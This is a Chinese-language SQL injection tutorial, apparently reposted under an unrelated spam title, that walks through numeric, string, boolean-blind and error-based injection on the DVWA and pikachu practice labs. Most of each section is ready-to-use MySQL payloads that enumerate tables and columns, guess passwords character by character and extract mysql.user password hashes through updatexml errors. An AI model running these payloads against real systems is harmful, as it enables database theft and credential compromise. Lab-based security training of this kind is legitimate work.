您的位置:首页 > 汽车 > 新车 > 香港idc托管_上海小程序开发合肥_百度搜索结果_如何在网上推广自己的公司

香港idc托管_上海小程序开发合肥_百度搜索结果_如何在网上推广自己的公司

2025/6/5 13:10:48 来源:https://blog.csdn.net/2402_84665417/article/details/146077774  浏览:    关键词:香港idc托管_上海小程序开发合肥_百度搜索结果_如何在网上推广自己的公司
香港idc托管_上海小程序开发合肥_百度搜索结果_如何在网上推广自己的公司

目录

1、SQL注入漏洞的概要

2、SQL注入的常规思路

3、数字型注入

4、字符型注入

5、布尔盲注

6、报错注入


1、SQL注入漏洞的概要

原理:通过用户输入的数据未严格过滤,将恶意SQL语句拼接到原始查询中,从而操控数据库执行非预期操作。

危害

  1. 窃取敏感数据(用户信息、密码等)
  2. 篡改或删除数据库内容
  3. 提权攻击(获取服务器权限)

示例-用户登录场景中,输入 admin' -- 绕过密码验证:

SELECT * FROM users WHERE username='admin' -- ' AND password='...'

2、SQL注入的常规思路

  1. 寻找注入点,可以借助web扫描工具实现。

  2. 通过注入点,尝试获取数据库用户名user()、数据库名称database()、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

  3. 猜解关键数据库表及其重要字段(获取数据库root账号、密码)

  4. 通过获取的用户信息,寻找后台登录

  5. 利用后台了解进一步的信息

3、数字型注入

特征:参数为整数类型,无需引号闭合。
注入原理:直接拼接用户输入到SQL语句的数值位置。

测试靶场为pikachu数字型SQL注入漏洞

网页中若遇到数字型的SQL漏洞注入点时,可以按照一下方式进行注入:

  1. 寻找注入点,查看是否有回显信息。
    3 and 1=1 
    
    3 order by 1
    null union select 1,2

  2. 利用准备好的SQL语句进行注入

    null union select(select version()),(select database())
    null union select(Select group_concat(table_name) from information_schema.tables where table_schema=database()),null
    null union select(Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),null

 

4、字符型注入

特征:参数为字符串类型,需用单引号闭合。
注入原理:闭合原始引号并插入恶意代码,注释掉后续内容。
测试的靶场为DVWA,以下为详细步骤:

  1. 寻找注入点,查看是否有回显信息。
    1' and 1=1#
    
    1' order by 1#
    null' union select null,null#

  2. 利用准备好的SQL语句进行注入

    null' union select(select version()),(select database())#
    null' union select(Select group_concat(table_name) from information_schema.tables where table_schema=database()),null#
    null' union select(Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),null#

5、布尔盲注

适用场景:页面无显式数据回显,但会根据SQL执行结果返回不同状态(如内容长度、布尔值)。
原理:通过构造布尔条件(TRUE/FALSE),观察页面响应差异,逐字符猜测数据。

测试的靶场为DVWA,以下为详细步骤:

  1. 根据页面的不同状态,查看是否有注入点
    1' and 1=1#
    
    1' and 1=2#

  2. SQL语句准备
     

    1' and if (length(database())>4,1,0)# 
    1' and if (substring(database(),2,1)='v',1,0)#
    1' and if (substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g',1,0)#
    1' and if (substring((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='i',1,0)#
    1' and if (substring((select group_concat(user,0x3a,password) from users limit 0,1),1,1)='a',1,0)#
  3. 利用BurpSuite工具,进行猜解名字



6、报错注入

适用场景:页面显示数据库错误信息(如MySQL错误日志)。
原理:利用数据库函数故意触发错误,将查询结果回显到报错信息中。

常见报错函数updatexml()extractvalue()exp()

SELECT * FROM users WHERE id=1 AND updatexml(1, concat(0x7e, (SELECT version())), 1)

测试的靶场为DVWA,以下为详细步骤:

  1.  寻找注入点,查看页面是否报错。
    1'
    1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#

  2. 利用准备好的SQL语句进行注入
     

    1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
    1' and updatexml(1,concat(0x7e,( Select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
    1' and updatexml(1,concat(0x7e,( Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)#
    1' and updatexml(1,concat(0x7e,(select group_concat(authentication_string)  from mysql.user limit 1),0x7e),1)# 
    1' and updatexml(1,concat(0x7e,(substring((select group_concat(authentication_string)  from mysql.user limit 1),32,40)),0x7e),1)#

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com